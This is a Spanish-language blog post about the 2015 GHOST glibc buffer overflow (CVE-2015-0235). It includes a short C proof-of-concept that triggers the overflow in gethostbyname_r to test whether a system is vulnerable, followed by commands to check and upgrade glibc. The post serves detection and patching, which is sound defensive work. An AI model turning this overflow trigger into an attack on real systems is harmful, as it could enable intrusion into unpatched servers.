miércoles, 28 de enero de 2015

Vulnerabilidad Ghost + PoC (Remote Linux Vulnerability Glibc)


Sin dudas una de las noticias de estos dias es el descubrimiento de la vulnerabilidad -CVE-2015-0235-. 
Afecta a la libreria "glibc". La gente de Qualys descubrio un interesante desbordamiento de buffer en una funcion de glibc llamada "the_nss_hostname_digits_dots()". Se puede tomar ventaja remotamente de esta vulnerabilidad desde la funcion gethostbyname() de glibc.

Al parecer las versiones de glibc-2.17 y glibc-2.18 se encuentran parcheadas. De hecho lo estaban desde el 2013 pero no se considero de mayor prioridad y se paso por alto en muchos desarrolladores, por ende los modulos de ciertas distribuciones siguen siendo aun vulnerabilides.

Algunas app conocidas que dependen de esta libreria son Apache, GnuPG, OpenSSH, entre otras.

A continuacion adjunto un PoC hecho por vpetkov, para que puedan testear la vulnerabilidad localmente.  Primero dense una idea de que libreria tienen instalada con el siguiente comando, desde mi debian/ubuntu:

$> ldd --version

Desde Redhat y CentOS:

$> rpm -q glibc


El PoC para verificar si es vulnerable o no el sistema, peguenlo en un editor de texto, guardenlo como ghost.c. Luego lo deben compilar con gcc de la siguiente manera:

$> gcc ghost.c -o ghost (compilan)

$> chmod +x ghost (le dan permisos de ejecucion).

$> ./ghost (ejecutan)


#------------CODIGO-----------#
#include 
#include 
#include 
#include 
#include 

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
 
int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;
 
  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';
 
  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
 
  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}

#------------FIN DEL CODIGO-----------#

Si es vulnerable, saldria "vulnerable" je je.
Sino, lo contrario.

Para fixear esto desde Debian/Ubuntu vamos a enfocar solamente en actualizar la libc.

$> apt-get update
$> apt-get install --only-upgrade libc6 -y

(reiniciemos, y luego volver a verificar con el PoC si sigue siendo vulnerable).
El resto de distribuciones, favor de verificar y tratar de actualizar el modulo a la ultima version, y no seria mala idea el kernel tambien. 

Mas informacion detallada directo desde Qualys Community:
https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
http://blog.vpetkov.net/

No hay comentarios:

Publicar un comentario

Deja un comentario..